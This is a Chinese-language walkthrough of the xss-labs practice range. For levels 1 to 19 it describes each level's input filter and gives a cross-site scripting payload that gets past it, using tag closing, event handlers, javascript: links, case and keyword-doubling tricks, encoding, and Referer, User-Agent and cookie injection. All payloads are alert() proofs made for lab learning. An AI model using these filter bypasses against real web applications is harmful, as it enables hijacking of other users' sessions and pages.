xss-labs靶场

Less-01【反射型xss、无过滤】

对于XSS漏洞,在实战中未避免因关键字被发现,多采用h5标签进行试探。
可以判断存在xss注入;
或者使用另一种payload
查看源码

payload
<script>alert(/xss/);<script>或者<img src=a onerror=alert(1);>
Less-02【反射型xss、htmlspecialchars过滤】


查看源码
发现其仅对上面$str进行处理,value的值并未进行处理,则突破点可以未value
此处需要将突破点转向value,首先应该闭合标签(“>),在进行xss注入。
payload
"><script>alert(/xss/);</script>或者"><img src=a onerror=alert(1);>
Less-03【反射型xss、htmlspecialchars过滤、特殊动作绕过】
使用h5标签进行试探
查看源码


另外可以注意到value值位于input标签上,可以==使用onmouseover属性(鼠标经过)或者onfocus属性(鼠标点击)==进行突破
特殊事件突破:进行鼠标操作xss注入

payload
' onmouseover='javascript:alert(1)'或者' onfocus='javascript:alert(1)'
Less-04【反射性xss、htmlspecialchars过滤、<>替换为空、特殊动作绕过】
使用h5标签进行试探

查看源码

发现其使用htmlspecialchars()过滤了一处的<、>,并且将>、<均替换为空,所以这里依旧采用特殊事件突破:进行鼠标操作xss注入

payload
" onmouseover='javascript:alert(1)'或者" onfocus='javascript:alert(1)'
Less-05【反射性xss、htmlspecialchars过滤、超链接标签绕过】
使用h5标签进行试探
此时想到要闭合标签:发现script被替换为scr_ipt
尝试使用鼠标属性:发现on被替换为o_n
查看源码
发现其使用htmlspecialchars()过滤了一处的<、>,并且将$str中的<script替换成<scr_ipt,将on替换成o_n,并且使用大小写转换,无法使用大小写绕过。
尝试构造其他语句:首先闭合标签(">),构造超链接xss:
payload
"> <a href="javascript:alert(/xss/)">xss</a>
Less-06【反射性xss、大小写绕过】
通过实验发现,其将script替换为scr_ipt,on替换为o_n
查看源码

将<script替换为<scr_ipt、on替换为o_n、src替换为sr_c、data替换为da_ta、href替换为hr_ef,另一处使用htmlspecialchars()对<>进行过滤。
但是由于str_replace()函数区分大小,且此处未对大小写进行规范。
payload
"><Script>alert(1);</script>//此处还存在许多通过大小写绕过的payload,不过多做展示
Less-07【反射性xss、复写绕过】
实验发现,其对script、href、on都替换为空
可以使用关键字复写:【在复写的情况下,src也被替换为空】
查看源码

得到其将script、on、src、data、href均替换为空,且对$str进行了大小写转换,一处使用了htmlspecialchars()对<>进行过滤。
payload
"><scrscriptipt>alert(1);</scrscriptipt>//此处还存在许多通过复写绕过的payload,不过多做展示
Less-08


查看源码

实验发现,其对"、script、on、href、data进行了转换,由于注入点位于a标签中,使用javascript:alert(‘xss’),并且使用Unicode转换
payload
javascript:alert('xss')//其是javascript:alert(‘xss’)的unicode编码
Less-09
实验发现,其将"、<、>进行转换
查看源码

由源码得到,其将各类关键字都进行了转换,并且payload中必须包含http://,否则会报错,由于注入点在a标签中,所以使用超链接注入语句(javascript:alert(1))进行unicode编码
payload
javascript:alert('xss')//http://wwwbaidu.com
Less-10


存在3个隐藏的表格,一一尝试哪个可以进行突破
发现其对<、>进行了空的置换
查看源码

注入点在第三个隐藏框
payload
先修改源代码,将hidden去除,输入" onmouseover='javascript:alert(1)',提交成功后,再将hidden属性去除,即可注入成功
Less-11【反射性xss、referer注入】


发现其也是有3个隐藏输入框,试验发现只有第3个框可以写入,同时使用了htmlspecialchars()对<、>、"进行过滤
查看源码

发现使用编码都无法绕过,观察到源码中$str没有htmlspecialchars()。尝试对其进行突破。使用burp进行抓包,对数据包进行修改

payload
Referer: "type="text" onmouseover="alert(/xss/)
Less-12【反射型xss、User-Agent注入】


试着提交数据,发现"被转换,与Less-11一致
查看源码

发现仅有t_ua处,未进行htmlspcialchars()过滤,决定进行抓包处理

payload
" onmouseover="javascript:alert(1)
Less-13【反射型xss、cookie注入】


试验发现,貌似无法确认注入点,4个隐藏框都无法在页面源代码上显示。
查看源码

发现注入点为t_cook,cookie注入,抓包改包

payload
" onmouseover="javascript:alert(1)
Less-14
无法进入此关卡
Less-15

查看源码

其需要上传的参数名为src、且进行了htmlspecialchars()过滤。
发现src提交的参数均会体现在源代码中,此时发现以上使用的方法均无法实现,则考虑运用本身class类的ng-include。
- 查阅资料

- 补充
- ng-include,如果单纯指定地址,必须要加引号
- ng-include,对于引入的html文件只能加载script标签内的代码,被引入的html 内如果有加载外部js的话是不会执行的

得出可以使用其包含一个源文件,这里可以选择该靶场的其他关卡,这里一level1为例:
payload
?src='level1.php?name=<img src=1 onerror=alert(/xss/)>'
Less-16


从这里可以得知,/被转换
查看源码

得知,其进行了大小写转换、将script、空格、/进行转换
可以将空格替换为换行符、使用其他标签(无需闭合的标签)。
payload
%3ca%0ahref%3djavascript%3aalert(1)%3exss%3c%2fa%3e
Less-17


发现同样使用了htmlspecialchars(),注入点在embed标签上。
- 补充

用于加载swf文件
查看源码

均使用了htmlspecialchars()
发现火狐浏览器无法进行此关卡,以下均使用chorme
payload
arg01=a&arg02=b onmouseover=alert(/XSS/)
Less-18

查看源码


payload
arg01=a&arg02=b onmouseover=alert(/XSS/)
Less-19


发现src属性无法闭合。。。